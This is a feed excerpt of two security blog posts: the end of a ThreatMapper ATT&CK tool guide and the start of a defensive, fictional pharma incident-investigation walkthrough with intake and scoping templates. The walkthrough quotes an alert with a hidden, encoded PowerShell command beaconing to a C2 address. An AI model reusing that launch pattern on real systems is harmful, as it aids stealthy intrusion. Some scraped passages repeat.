&quot;error&quot;:                print(f&quot;\nError: {event[&#039;message&#039;]}&quot;)Keeping ATT&amp;CK Data&nbsp;FreshATT&amp;CK releases new versions periodically (approximately twice a year). ThreatMapper checks for new versions daily at 03:00 UTC via a Celery Beat&nbsp;job.The sidebar footer shows a pulsing amber indicator when a new version is available. Trigger an&nbsp;update:# Quick API callcurl -X POST http://localhost:8000/api/sync/trigger# Check what version you have vs what&#039;s availablecurl http://localhost:8000/api/sync/statusThe sync downloads only the new bundle version and ingests it alongside the existing data without deleting anything. Both versions remain queryable &mdash; endpoints accept an optional&nbsp;?version=19.1 parameter to target a specific&nbsp;release.Tips for&nbsp;AnalystsCalibrate your confidence threshold. I recommend treating &lt; 50% confidence as noise until you validate it manually. The LLM is trying hard to find ATT&amp;CK mappings, which means it will sometimes stretch an inference. Use the evidence snippet to sanity-check every&nbsp;mapping.Use the Gap Analysis as a hunt checklist. When you match against an APT group in Compare, the Gap Analysis tab shows every technique in their known profile that you haven&rsquo;t covered. This is an excellent input for a structured hunt &mdash; you&rsquo;re essentially asking &ldquo;what would we need to observe to confirm this attribution?&rdquo;Chain features for maximum value. The best workflow is: AI Analysis &rarr; inject into Navigator &rarr; Compare against APT groups &rarr; Gap Analysis &rarr; export PDF. Each step builds on the&nbsp;last.Chat is good for detection rules. The AI assistant is particularly strong at generating SIGMA rules, KQL queries, and Splunk SPL from ATT&amp;CK technique IDs. Give it the full ATT&amp;CK technique description plus any specific context from your environment (OS, logging stack) and you&rsquo;ll get useful starting points rather than generic templates.Import your existing layers. If your team already maintains ATT&amp;CK Navigator layers for your environment (e.g. a &ldquo;what we detect&rdquo; layer and a &ldquo;what we&rsquo;ve seen&rdquo; layer), import them via the &uarr; Import button. ThreatMapper will let you compare them against APT profiles and run AI chat against the techniques in the&nbsp;layer.Save named layers as investigation checkpoints. After any significant piece of work &mdash; a completed AI analysis, a finished APT comparison session, a purple-team prep layer &mdash; click &darr; Save layer and give it a meaningful name. This takes 10 seconds and means you never lose work between sessions. You can reload any saved layer instantly from 📂 Load layer without re-running analysis.Use text paste for quick triage. You don&rsquo;t need a formatted document. Paste raw Slack thread text, a SIEM alert body, or a vendor advisory into the text box. The AI is good at extracting signal from noisy, informal&nbsp;text.Security ConsiderationsThreatMapper is designed for internal/intranet use. It has no built-in authentication &mdash; anyone who can reach the Docker network can use&nbsp;it.For a team deployment:Set a strong DB_PASS in&nbsp;.envPut ThreatMapper behind nginx / Caddy with TLS and HTTP Basic Auth (or integrate with your identity provider via&nbsp;OAuth)Run the Docker containers on an internal network that is not directly internet-accessibleThe&nbsp;.env file containing your LLM API keys should have chmod 600 and never be committed to&nbsp;gitYour threat intelligence reports are stored in PostgreSQL inside the Docker volume. If you need to comply with data handling policies, deploy ThreatMapper on infrastructure that meets those policies &mdash; since it&rsquo;s self-hosted, you retain full&nbsp;control.What&rsquo;s Coming&nbsp;NextThe tool is functional but there is plenty of room to grow. Things I&rsquo;m actively thinking&nbsp;about:TAXII/STIX import &mdash; accept threat intelligence directly from TAXII feeds (MISP, OpenCTI, commercial CTI platforms)Team collaboration &mdash; shared TTP layers with user namespacingDetection coverage overlay &mdash; import your existing SIGMA rule library and visualise which ATT&amp;CK techniques you have coverage for vs which are blind&nbsp;spotsAutomatic APT tracking &mdash; when ATT&amp;CK releases a new version that adds techniques to a group you&rsquo;re tracking, send a notificationFinal ThoughtsThe core idea behind ThreatMapper is that the heavy lifting of ATT&amp;CK mapping &mdash; reading a report, recognising a technique, looking it up, comparing it &mdash; is exactly the kind of repetitive, pattern-matching work that LLMs are well-suited for.The analyst&rsquo;s judgement is still essential: deciding which mappings to trust, what the attribution implications are, what to do about the gap analysis. But the mechanical translation layer &mdash; text to ATT&amp;CK IDs &mdash; should not take most of your&nbsp;time.ThreatMapper tries to handle that translation layer so you can spend your time on the interesting parts.The project is open source under the MIT licence. If you find it useful, have feature requests, or find bugs, open an issue on&nbsp;GitHub.GitHub: https://github.com/anpa1200/threatmapperAPI Docs: http://localhost:8000/docs (after starting with docker compose&nbsp;up)ThreatMapper uses the MITRE ATT&amp;CK&reg; framework. ATT&amp;CK is a registered trademark of The MITRE Corporation. This project is not affiliated with or endorsed by&nbsp;MITRE.Follow for practical cybersecurity researchIf you&rsquo;re interested in Offensive security, AI security, real-world attack simulations, CTI, and detection engineering &mdash; this is exactly what I focus&nbsp;on.Stay connected:&rarr; Subscribe on Medium: medium.com/@1200km&rarr; Connect on LinkedIn: andrey-pautov&rarr; GitHub &mdash; tools &amp; labs: github.com/anpa1200&rarr; Contact: 1200km@gmail.comAndrey PautovThreatMapper: I Built a Self-Hosted AI Threat Intelligence Platform &mdash; Here&rsquo;s How to Use It was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3580444/IT+Sicherheit/Hacker/ThreatMapper%3A+I+Built+a+Self-Hosted+AI+Threat+Intelligence+Platform+%E2%80%94+Here%E2%80%99s+How+to+Use+It/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580444/IT+Sicherheit/Hacker/ThreatMapper%3A+I+Built+a+Self-Hosted+AI+Threat+Intelligence+Platform+%E2%80%94+Here%E2%80%99s+How+to+Use+It/</guid>
<pubDate>Mon, 08 Jun 2026 06:30:09 +0200</pubDate>
</item>
<item> 
<title><![CDATA[CTI as a Code in Practice: Reactive Investigation — LifeTech Pharma]]></title> 
<description><![CDATA[A complete walkthrough of the methodology applied to a real training scenario: pharmaceutical IP theft, dual entry points, and a DCSync that changes everything.All organizations, names, and data are fictional. This is training assignment A01 from the CTI as a Code repository.Based on the methodology: &ldquo;CTI as a&nbsp;Code&rdquo;CTI as a Code: Complete Step-by-Step MethodologyContentsThe ScenarioStep 00: Clone, Initialize, and Fill the&nbsp;TemplateStep 0: Intake &mdash; What the First Call&nbsp;CapturesStep 1&ndash;2: Project Setup and&nbsp;ScopeStep R1: Evidence Inventory &mdash; What Exists and What Is&nbsp;MissingStep R1.5: Hands-On Evidence Analysis &mdash; VS Code Investigation1. CrowdStrike Alert &mdash; JSON in VS Code2. Decode the PowerShell Payload3. M365 Message Trace &mdash; Rainbow CSV4. Azure AD Sign-In Analysis5. VPN Log Analysis6. NGFW Log Analysis &mdash; Rainbow CSV7. SQL Audit Log Analysis8. Windows Security Event Log Analysis9. Cross-File Pivot &mdash; VS Code Global Search10. IOC Enrichment &mdash; REST Client11. Sandbox Analysis &mdash; Submit the Binary12. Static Binary Analysis &mdash; Hex Editor + Terminal13. Infrastructure Pivot &mdash; REST Client + Global Search14. Splunk Correlation (SIEM Validation)Step R2: Timeline &mdash; Two Paths, One&nbsp;ActorStep R3: Claims Ledger &mdash; Every Assertion Traced to&nbsp;EvidenceStep R4: ATT&amp;CK Mapping &mdash; Where Detection FailedStep R5: Attribution Assessment &mdash; Same Actor or&nbsp;Two?Step R6: Detection Rules &mdash; Four That Would Have Changed the&nbsp;OutcomeStep R7: Deliverables &mdash; What Each Stakeholder GetsThe Git History: What a Completed Investigation Looks&nbsp;LikeKey LessonsThe ScenarioLifeTech Pharma Ltd. is a mid-sized Israeli pharmaceutical company in Rehovot. It develops and manufactures generic drugs and biological APIs, exports to the US, EU, and MENA, and recently signed a $52 million licensing deal with a US biopharma partner. The signed formula files are stored on SERVER-RD-02\LicenseDeals\USPartner2024\ &mdash; 47 files, approximately 380 MB compressed.On Friday, 15 November 2024 at 18:47 IST, the on-call SOC analyst receives a CrowdStrike behavioral detection:ALERT: Suspicious PowerShell ActivitySeverity: High &mdash; Behavioral IOAHost: WS-CFO-01.lifetechpharma.local  [Michal Cohen, CFO]Process: powershell.exe (PID 3784)Parent: OUTLOOK.EXE (PID 2240)CommandLine: powershell.exe -NonI -W Hidden -Enc JABjAD0ATgBlAHcA...Timestamp: 2024-11-15T18:42:33ZThat&rsquo;s the visible trigger. The actual breach started 24 days earlier &mdash; and the alert is the second of two entry points, not the&nbsp;first.Step 00: Clone, Initialize, and Fill the&nbsp;TemplateBefore the phone rings. This step takes three minutes and is done once per investigation &mdash; ideally before the alert even comes in, or in the first five minutes after hanging up the initial&nbsp;call.1. Clone the repository (one-time setup)If you have not cloned CTI_as_a_Code yet, do this once on your analyst workstation:cd ~git clone https://github.com/anpa1200/CTI_as_a_Code.gitYou will never modify this clone. It is your template source. Leave it as-is and pull updates periodically:cd ~/CTI_as_a_Code &amp;&amp; git pull2. Create your investigations foldermkdir -p ~/investigationsUse any path you prefer &mdash; just keep it consistent across all cases. Do not create investigations inside the CTI_as_a_Code clone.3. Copy the reactive template for this&nbsp;casecp -r ~/CTI_as_a_Code/templates/reactive/ ~/investigations/lifetech-2024-11Naming convention: [org-slug]-[YYYY-MM]. One folder per case. Verify the structure:ls ~/investigations/lifetech-2024-11/tree ~/investigations/lifetech-2024-11/Expected:00-scope/   01-evidence/   02-sources/   03-analysis/04-detections/   05-deliverables/   06-ai-outputs/   07-feedback/README.md   intake-form.md   project.yml4. Initialize git inside the case&nbsp;foldercd ~/investigations/lifetech-2024-11git initgit add .git commit -m &quot;PROJ-2024-001: scaffold initialized from reactive template&quot;This is commit zero. Its purpose is to prove &mdash; to a lawyer, an auditor, or yourself &mdash; exactly what state you started from before any analysis&nbsp;began.5. Fill in project.ymlThis file is the single source of truth for project metadata. Open it&nbsp;now:nano project.ymlThe template has blank fields. Fill every one(During the investigation):project:  id: &quot;PROJ-2024-001&quot;  name: &quot;LifeTech Pharma &mdash; Targeted Intrusion&quot;  type: reactive  classification: TLP:AMBER  status: in-progressanalyst:  name: &quot;Your Name&quot;  role: &quot;CTI Analyst&quot;  contact: &quot;your@email.com&quot;timeline:  incident_date: &quot;2024-11-15&quot;  detection_date: &quot;2024-11-15&quot;  investigation_start: &quot;2024-11-15&quot;  report_due: &quot;2024-11-17&quot;         # INCD 72h clock - expires 18:47 IST Nov 17pirs:  - id: PIR-001    question: &quot;Was the US licensing formula package (SERVER-RD-02\\USPartner2024\\) accessed or exfiltrated? If so, what and when?&quot;    priority: high    status: open  - id: PIR-002    question: &quot;How did the adversary gain initial access - phishing, credential theft, or exploitation?&quot;    priority: high    status: open  - id: PIR-003    question: &quot;Is there evidence of ongoing access or persistence as of investigation date?&quot;    priority: high    status: openscope:  systems:    - WS-CFO-01    - WS-IT-LEVI    - SERVER-RD-02    - SERVER-FIN-01    - DC01  threat_actor: unknown  attck_techniques: []             # leave blank now - fill during R4deliverables:  - type: executive-brief    status: pending  - type: soc-handoff    status: pending  - type: sigma-rules    count: 0    status: pendingnotes: &quot;INCD 72h notification clock starts 2024-11-15 18:47 IST. Legal hold on WS-IT-LEVI - no hardware access, RTR only.&quot;Do not leave any field as &quot;&quot; or [] if you know the value. Unknown fields are fine &mdash; write unknown explicitly. A blank field means &quot;forgot to fill in.&quot; unknown means &quot;we looked and do not know&nbsp;yet.&quot;6. Commit the filled&nbsp;metadatagit add project.ymlgit commit -m &quot;PROJ-2024-001: project.yml filled &mdash; 3 PIRs, INCD deadline 2024-11-17 18:47 IST, legal hold WS-IT-LEVI&quot;The folder is now named, scoped, and version-controlled. The intake call can&nbsp;begin.Step 0: Intake &mdash; What the First Call&nbsp;CapturesBefore opening Splunk, before pivoting on the C2 IP, before forming a hypothesis &mdash; the intake call runs. This is 15 minutes with the Tier 2 escalation and the IR Lead before any analysis work&nbsp;begins.The intake captures facts that change what you look&nbsp;for.Open the intake form before&nbsp;dialing:cp intake-form.md 00-scope/intake-2024-11-15.mdnano 00-scope/intake-2024-11-15.mdThe template has 9 sections. Work through them in order during the call &mdash; do not paraphrase in real time, write what the reporter says verbatim. You will analyze it after. For LifeTech this call produces:# Investigation Intake &mdash; PROJ-2024-001 &mdash; 2024-11-15Completed by: On-call CTI analyst (Yael Mizrahi)Intake call with: Noa Ben-David (IR Lead), Ran Katz (SOC Manager)Call time: 2024-11-15 18:55 IST---## 1. What was reported?**1.1 What did you see or receive that caused you to raise this?**&quot;CrowdStrike fired a high-severity behavioral IOA on Michal Cohen&#039;s workstation &mdash;PowerShell with base64 payload launched directly from Outlook. Tier 1 pulled thenetwork tab and found 3 outbound connections to 203.0.113.87 over the last 15minutes. This is the CFO&#039;s machine. We escalated immediately.&quot;**1.2 Where did this first come to your attention?**- [x] Alert from SIEM / EDR / AV  &larr; CrowdStrike Falcon behavioral IOA, severity: High**1.3 When did you first notice it?**Date: 2024-11-15   Time: 18:47   Timezone: IST (UTC+2)**1.4 Do you believe the activity is still ongoing?**- [x] Yes &mdash; still active (C2 connections still firing at time of call)---## 2. What is already known?**2.1 What systems, accounts, or services appear to be involved?**- WS-CFO-01.lifetechpharma.local &mdash; Michal Cohen, CFO. Dell Latitude, Windows 11.- 203.0.113.87 &mdash; external IP, destination of C2 connections. Not in any allowlist.- OUTLOOK.EXE (PID 2240) &rarr; powershell.exe (PID 3784) &mdash; parent-child confirmed.- No other hosts identified yet &mdash; investigation is 8 minutes old.**2.2 What was the observed behavior?**&quot;PowerShell with -NonI -W Hidden -Enc flags spawned from Outlook. The encodedcommand has not been decoded yet. Three separate TCP connections to 203.0.113.87on port 443 over 15 minutes &mdash; looks like a beacon pattern.&quot;**2.3 Has anyone else already investigated or looked into this?**- [x] Yes &mdash; Tier 1 analyst (Omer Cohen) ran initial Splunk queries (last 1 hour only).  What did they touch: read-only Splunk queries. No changes to the endpoint.**2.4 What do you think happened?**&quot;Probably a phishing email with a malicious attachment &mdash; xlsm macro or somethingsimilar. Michal must have opened it in the last few hours. We don&#039;t know if anyoneelse was targeted.&quot;---## 3. Timeline of discovery**3.1 When do you believe the activity started?**- [ ] Known- [x] Estimated: activity on WS-CFO-01 started approximately 18:42 IST (PowerShell  launch timestamp from CrowdStrike event).**3.2 How long do you estimate the activity has been occurring?**Approximately 13 minutes from first PowerShell event to escalation call (18:42&ndash;18:55 IST).However: unknown whether this is the beginning of the intrusion or a later stage.**3.3 Is there a specific event that triggered the alert or complaint?**CrowdStrike behavioral IOA fired at 18:42:33 IST on WS-CFO-01. Tier 1 escalatedat 18:47. IR Lead paged at 18:52. Intake call started at 18:55.---## 4. What has already been done?**4.1 Has any system been rebooted, shut down, or reimaged since the activity was discovered?**- [x] No &mdash; WS-CFO-01 is still running. Not yet isolated.**4.2 Have any credentials, tokens, or API keys been rotated or revoked?**- [x] No &mdash; no credential changes made yet.**4.3 Has any network access been blocked or firewall rules been changed?**- [x] No &mdash; 203.0.113.87 has not been blocked. Ran confirmed: &quot;We wanted to check  with you first before blocking &mdash; didn&#039;t want to tip them off.&quot;**4.4 Has any malware been deleted or quarantined?**- [x] No &mdash; CrowdStrike flagged the process but did not quarantine. Alert status: Detected,  not Prevented (policy is set to Detect-only on this machine &mdash; CFO exception policy).**4.5 Has anyone notified external parties?**- [x] No &mdash; no external notification yet. INCD assessment pending scope confirmation.---## 5. Systems and access**5.1 What logging is expected to exist for the affected systems?**- Endpoint logs (Sysmon, CrowdStrike): [x] Yes &mdash; CrowdStrike on WS-CFO-01. Sysmon on  WS-CFO-01. NOTE: Sysmon NOT deployed on server-class machines or DC01.- VPN / authentication logs: [x] Yes &mdash; Cisco AnyConnect VPN, logs in Splunk.- Database audit logs: [x] Yes &mdash; SQL audit on SERVER-RD-02 (partial EIDs only).- Network flow / firewall logs: [x] Yes &mdash; Palo Alto NGFW. RETENTION: 14 days only.  ⚠ SERVER-RD-02 outbound logs will expire 2024-11-29 for today&#039;s traffic.- Email gateway logs: [x] Yes &mdash; M365 Message Trace, 30-day retention. ATP enabled.  NOTE: ATP sandbox NOT enabled for xlsm files &mdash; policy gap identified.- Cloud provider logs: [x] Yes &mdash; Azure AD sign-in logs, 30-day retention.**5.2 What tools and access does the analyst have?**- [x] Admin access to affected hosts (CrowdStrike RTR for WS-CFO-01, WS-CFO-01 CrowdStrike console)- [x] Read access to SIEM (Splunk &mdash; full org)- [x] Access to EDR console (CrowdStrike Falcon &mdash; full org view)- [x] Access to network equipment / firewall logs (Palo Alto Panorama &mdash; read only)- [x] Access to cloud console (Azure AD &mdash; Security Reader role)- [x] Access to email gateway (M365 Security &amp; Compliance &mdash; Message Trace)- [ ] VPN / jump host credentials &mdash; not yet, request submitted- [x] TheHive / OpenCTI lab access**5.3 Are there any systems the analyst should NOT touch?**⚠ WS-IT-LEVI (Paz Levi, IT Admin): LEGAL HOLD issued at 20:45 IST today.  HR investigation underway &mdash; UNRELATED to this incident (employment matter).  Hardware access BLOCKED for 48&ndash;72 hours per Legal counsel (Adv. Dina Shapiro).  Remote CrowdStrike RTR is PERMITTED &mdash; confirmed by Legal.  No memory image, no disk image, no physical access until hold lifted.---## 6. Business impact**6.1 What business processes are affected or at risk?**&quot;The CFO&#039;s email and workstation are involved. If this is a full compromise, financedata is at risk. We also have R&amp;D server SERVER-RD-02 &mdash; it holds the formula filesfor the US licensing deal. That deal closes in 6 weeks. If those files were touched,we have an FDA NDA issue and a $52M deal at risk.&quot;**6.2 Is customer data, employee data, or regulated data potentially involved?**- [x] Yes &mdash; type: proprietary formula files under FDA NDA filing (USPartner2024 package,  47 files, ~380 MB). Also: employee financial data on SERVER-FIN-01 if CFO path  extended to finance server.**6.3 What is the financial exposure if this is confirmed?**Direct deal risk: $52M US licensing agreement. Regulatory exposure: Israeli PrivacyProtection Law (PPL) fines + FDA NDA breach penalties. Reputational exposure: USpartner disclosure obligation if formula data confirmed exfiltrated.**6.4 Is there a hard deadline driving this investigation?**- [x] Yes &mdash; deadline: INCD 72-hour notification window starts from discovery of  breach (not discovery of alert). If formula data or critical infrastructure  involvement confirmed: clock starts NOW &rarr; expires 2024-11-17 ~18:47 IST.---## 7. Regulatory and legal constraints**7.1 Are there applicable notification requirements?**| Regulation | Applicable? | Deadline | Notified? ||---|---|---|---|| INCD (Israeli critical infrastructure) | TBD &mdash; assess after scope confirmed | 72h from discovery | No || Biometric Database Authority | No &mdash; no biometric data at LifeTech | &mdash; | N/A || BoI-CD 362 (Israeli financial) | No &mdash; LifeTech is not a financial entity | &mdash; | N/A || GDPR | TBD &mdash; EU customers in export data? | 72h from awareness | No || PCI-DSS | No &mdash; no card processing at LifeTech | &mdash; | N/A || Israeli Privacy Protection Law | Yes &mdash; employee + partner data in scope | Per PPL &mdash; notify DPA if breach confirmed | No || FDA / NDA obligation | Yes &mdash; if formula files confirmed exfiltrated | Immediate notification to US partner | No |**7.2 Is there an active legal hold on any systems or data?**- [x] Yes &mdash; WS-IT-LEVI (Paz Levi). Legal hold issued 2024-11-15 20:45 IST.  Contact: Adv. Dina Shapiro (Legal). Hold expected: 48&ndash;72 hours minimum.**7.3 Has legal counsel been notified?**- [x] Yes &mdash; Adv. Dina Shapiro notified of the security incident at 19:10 IST.  Advised: do not touch WS-IT-LEVI hardware. RTR permitted with logging.---## 8. Analyst notes(Raw notes taken during call &mdash; unprocessed)- Ran (SOC): &quot;The CFO is still at the office. We haven&#039;t told her yet. Should we?&quot;  &rarr; IR Lead decision: do not inform CFO until after memory dump. Risk: she might  reboot the machine.- The CrowdStrike policy on WS-CFO-01 is DETECT-ONLY (CFO exception policy).  This is why the process was not killed automatically. SOC should evaluate  moving to Prevent for exec machines after this incident.- 203.0.113.87 &mdash; not blocklisted anywhere in org. Ran says: &quot;It&#039;s clean on our  end, never seen it before.&quot; Worth enriching immediately (VirusTotal, Shodan).- Memory dump of WS-CFO-01 is urgent &mdash; C2 is still active. Process may have  network artifact or decrypted payload in memory. Action: RTR memory dump NOW.- No mention of SERVER-RD-02 during this call &mdash; IR Lead is not aware of the  formula file risk yet. Will scope that separately after evidence inventory.- p.levi (WS-IT-LEVI) is under HR investigation for unrelated reason. Legal hold  is coincidental. However: IT admin access + legal hold + security incident  creates a complex situation. Document carefully.---## 9. Next actions| # | Action | Owner | Due ||---|---|---|---|| 1 | Take memory dump of WS-CFO-01 via CrowdStrike RTR before C2 session ends | Yael (CTI) | Immediate || 2 | Enrich 203.0.113.87 &mdash; VirusTotal, Shodan, passive DNS, ASN lookup | Yael (CTI) | Within 30 min || 3 | Pull M365 Message Trace for m.cohen last 48h &mdash; identify delivery vector | Omer (Tier 1) | Within 30 min || 4 | Retrieve Palo Alto firewall logs for WS-CFO-01 and SERVER-RD-02 &mdash; full available window | Ran (SOC) | Within 1h ⚠ retention risk || 5 | Check Azure AD sign-in logs for m.cohen and p.levi &mdash; last 30 days | Yael (CTI) | Within 1h || 6 | Confirm SERVER-RD-02 USPartner2024 directory access &mdash; pull EID 4663 from Splunk | Yael (CTI) | Within 2h || 7 | Open TheHive case PROJ-2024-001, attach this intake as first observable | Yael (CTI) | Within 30 min || 8 | Advise IR Lead on INCD 72h clock &mdash; confirm if formula data scope triggers mandatory notification | Noa (IR Lead) + Legal | Within 2h |---*Intake completed 2024-11-15 19:18 IST. File saved as 00-scope/intake-2024-11-15.md.**Case opened in TheHive: PROJ-2024-001.*```Two items in this intake change the entire investigation trajectory: the legal hold on `WS-IT-LEVI` (you cannot image it), and the potential for formula data in scope (Israeli PPL + FDA notification obligations). Both need to be on the table before analysis starts, not discovered mid-investigation.The intake commits to git first:Two items in this intake change the entire investigation trajectory: the legal hold on WS-IT-LEVI (you cannot image it), and the potential for formula data in scope (Israeli PPL + FDA notification obligations). Both need to be on the table before analysis starts, not discovered mid-investigation.The intake commits to git&nbsp;first:git add 00-scope/intake-2024-11-15.mdgit commit -m &quot;PROJ-001: intake &mdash; CFO PowerShell alert, legal hold on WS-IT-LEVI, formula data in scope&quot;Step 1&ndash;2: Project Setup and&nbsp;ScopeThe folder and git repo already exist from Step 00. This step fills the scope document and gets stakeholder sign-off before any analysis begins. The rule: you do not start looking at logs until the scope is committed.1. Open the scope&nbsp;documentnano 00-scope/scope.md# Intelligence Source Registry**Project:** PROJ-2024-001 &mdash; LifeTech Pharma Targeted IntrusionAdmiralty Scale: Source reliability A (completely reliable) &ndash; F (reliability cannot be judged).  Information reliability: 1 (confirmed) &ndash; 6 (truth cannot be judged).---## Internal Sources| ID | Source | Type | Admiralty | Notes ||---|---|---|---|---|| INT-001 | Splunk SIEM | Log aggregation | A/2 | Primary forensic source; full org scope; read-only access. Initial 1h Splunk query by Tier 1 (Omer Cohen) &mdash; covered WS-CFO-01 only. || INT-002 | CrowdStrike Falcon | EDR / endpoint telemetry | A/2 | Deployed on WS-CFO-01, WS-IT-LEVI. NOT deployed on R&amp;D server fleet (12 servers) or DC01. CFO machine on Detect-only policy (not Prevent). || INT-003 | Palo Alto NGFW (Panorama) | Firewall flows / NetFlow | A/2 | Read-only. 14-day retention. ⚠ SERVER-RD-02 Nov 6 outbound flows expire 2024-11-20 &mdash; retrieve before any other task. || INT-004 | M365 Message Trace | Email gateway logs | A/2 | 30-day retention. ATP sandbox NOT enabled for .xlsm files &mdash; phishing attachment delivered uninspected. || INT-005 | Azure AD sign-in logs | Cloud authentication | A/2 | 30-day retention. Security Reader role. Covers m.cohen and p.levi sign-in history. || INT-006 | Sysmon (WS-CFO-01, WS-IT-LEVI) | Endpoint process/network telemetry | A/2 | NOT deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01). || INT-007 | Windows Security event logs (DC01, SERVER-RD-02) | Authentication / authorization | A/2 | DC01: partial export only &mdash; full log inaccessible. EID 4662 (DCSync) and EID 4663 (object access) relevant. || INT-008 | SQL audit &mdash; SERVER-RD-02 | Database object-access audit | A/2 | Partial EIDs only; not all object-access events captured. Required for PIR-001 (formula file access). || INT-009 | Cisco AnyConnect VPN | VPN session logs | A/2 | Available in Splunk. Covers p.levi sessions (AiTM hypothesis). |---## External / OSINT Sources| ID | Source | Type | Admiralty | TLP | Notes ||---|---|---|---|---|---|| EXT-001 | CERT-IL | Government advisory | A/2 | TLP:AMBER | Check for active advisories targeting Israeli pharma sector. || EXT-002 | VirusTotal | IOC enrichment | C/3 | TLP:WHITE | Immediate priority: 203.0.113.87 hash/IP lookup. Crowdsourced &mdash; treat as corroborating only. || EXT-003 | Shodan | Infrastructure recon | C/3 | TLP:WHITE | 203.0.113.87 ASN / infrastructure / open-port lookup. || EXT-004 | URLScan.io | Domain analysis | C/3 | TLP:WHITE | Passive DNS and domain history for C2 domains identified in flows. || EXT-005 | MISP | Community threat intel | B/3 | TLP:AMBER | Pharma sector sharing. Cross-reference IOCs against community feed. |---## Source Limitations| Source | Known Limitation ||---|---|| Palo Alto NGFW (INT-003) | 14-day retention only. SERVER-RD-02 Nov 6 outbound flows expire **2024-11-20** &mdash; retrieve immediately, before any other analysis. || CrowdStrike Falcon (INT-002) | Not deployed on R&amp;D server fleet (12 servers) or DC01. No EDR telemetry for those hosts &mdash; Windows Security events and NGFW logs are the only visibility. || Sysmon (INT-006) | Not deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01). Process creation and network telemetry unavailable for those hosts. || Windows Security / DC01 (INT-007) | Only partial event log export available; full log is inaccessible. Analytical confidence on DC01 activity is reduced. || M365 ATP (INT-004) | Sandbox not enabled for .xlsm attachments. The suspected phishing attachment was delivered without detonation &mdash; no ATP verdict available. || SQL audit &mdash; SERVER-RD-02 (INT-008) | Partial EIDs only. Not all object-access events are captured. Absence of a log entry does NOT confirm file was not accessed. || WS-IT-LEVI &mdash; all sources | Legal hold issued 2024-11-15 20:45 IST (Adv. Dina Shapiro). No hardware, disk, or memory image permitted. CrowdStrike RTR allowed with full session logging. Re-assess after hold lifted (est. 48&ndash;72h). || Azure AD sign-in logs (INT-005) | 30-day retention. Historical data before approximately 2024-10-15 is unavailable. || M365 Message Trace (INT-004) | 30-day retention. Historical data before approximately 2024-10-15 is unavailable. || VirusTotal (EXT-002) | Crowdsourced; vendor detections may be absent for fresh infrastructure. A clean VT result does not rule out malicious use. Treat as corroborating, not authoritative. |The template has six sections. Fill each one&nbsp;now:Header &mdash; fill the four metadata lines at the&nbsp;top:Project: PROJ-2024-001Classification: TLP:AMBERDate scoped: 2024-11-15Scoped by: [your name]Approved by: Noa Ben-David, IR LeadIncident Summary &mdash; one paragraph, what triggered this:CrowdStrike behavioral detection on WS-CFO-01 at 18:42 IST, November 15, 2024.PowerShell spawned by OUTLOOK.EXE with base64-encoded payload, downloading from203.0.113.87. Scope of compromise unknown. Formula files on SERVER-RD-02 arepotentially in scope &mdash; US licensing deal ($52M) requires regulatory assessment.In Scope &mdash; fill the asset&nbsp;table:Out of Scope &mdash; fill the exclusion table:PIRs &mdash; copy from project.yml, add due&nbsp;dates:Constraints and Assumptions &mdash; fill the four&nbsp;fields:Legal/regulatory: INCD 72h notification window expires 2024-11-17 18:47 IST.  Israeli Privacy Protection Law + FDA NDA obligations if formula data confirmed.Evidence limitations: Palo Alto firewall logs &mdash; 14-day retention.  SERVER-RD-02 Nov 6 outbound logs expire 2024-11-20. Retrieve immediately.  Sysmon absent from all server-class machines.Access restrictions: WS-IT-LEVI &mdash; legal hold, no hardware access. RTR permitted.Assumptions: All timestamps assumed UTC unless marked IST. Not converted in log excerpts.Definition of Done &mdash; check the boxes your team has agreed&nbsp;to:- [ ] All PIRs answered or formally deferred with reasoning- [ ] Timeline covers full attacker dwell period (or gap documented)- [ ] ATT&amp;CK mapping reviewed and finalized- [ ] At least one detection rule per confirmed TTP- [ ] SOC handoff delivered and acknowledged- [ ] Executive brief approved by Noa Ben-David (IR Lead)- [ ] INCD notification filed if formula data confirmedFull scope.md:# Scope Definition**Project:** PROJ-2024-001**Classification:** TLP:AMBER**Date scoped:** 2024-11-15**Scoped by:** Yael Mizrahi (CTI Analyst)**Approved by:** Noa Ben-David (IR Lead) &mdash; verbal approval 19:22 IST---## Incident SummaryCrowdStrike behavioral IOA fired on WS-CFO-01 (Michal Cohen, CFO) at 18:42 IST on2024-11-15. PowerShell with encoded payload launched from OUTLOOK.EXE; three outboundC2 connections to 203.0.113.87 confirmed within 15 minutes of detection. Scope ofcompromise is unknown at time of scoping &mdash; the CFO alert may be a late-stage indicatorof a broader intrusion. Formula files on SERVER-RD-02 (US licensing package, ~380 MB,47 files) are in scope for PIR-001 due to financial and regulatory exposure ($52M deal,FDA NDA obligations). INCD 72h notification clock assessed as active from time ofdiscovery.---## In Scope| Asset / System | Owner | Justification ||---|---|---|| WS-CFO-01.lifetechpharma.local | IT Dept / Michal Cohen (CFO) | Triggering alert host &mdash; CrowdStrike IOA, active C2 || WS-IT-LEVI.lifetechpharma.local | IT Dept / Paz Levi (IT Admin) | Suspected initial access vector &mdash; AiTM phishing hypothesis || SERVER-RD-02.lifetechpharma.local | R&amp;D Dept | Formula file storage &mdash; PIR-001 primary asset || SERVER-FIN-01.lifetechpharma.local | Finance Dept | Lateral movement target &mdash; confirmed by CrowdStrike alert Nov 15 || DC01.lifetechpharma.local | IT Dept | DCSync event EID 4662 observed from non-DC IP || Exchange Online (M365) | IT / Microsoft | Email delivery vector &mdash; phishing investigation || Azure AD | IT / Microsoft | Authentication logs &mdash; VPN session token replay || Palo Alto NGFW (perimeter) | IT / Network team | C2 traffic confirmation, SERVER-RD-02 exfil flows |---## Out of Scope| Asset / System | Reason for Exclusion ||---|---|| SharePoint Online / OneDrive | Cloud scope &mdash; no evidence of involvement; requires separate authorization || Manufacturing SCADA / OT network | No evidence of lateral movement into OT segment at this time || WS-IT-LEVI &mdash; hardware / disk image | Legal hold issued 2024-11-15 20:45 IST. No hardware access until hold lifted. RTR permitted. || All other endpoints (838 total) | Out of scope pending hunt results &mdash; may expand if pivot on C2 domains finds new hosts |---## Priority Intelligence Requirements (PIRs)| ID | Question | Priority | Due | Status ||---|---|---|---|---|| PIR-001 | Was the US licensing formula package (`SERVER-RD-02\LicenseDeals\USPartner2024\`) accessed or exfiltrated? If so, what and when? | High | 2024-11-16 06:00 IST | Open || PIR-002 | How did the adversary gain initial access &mdash; phishing, credential theft, exploitation, or insider? | High | 2024-11-16 06:00 IST | Open || PIR-003 | Is there evidence of ongoing 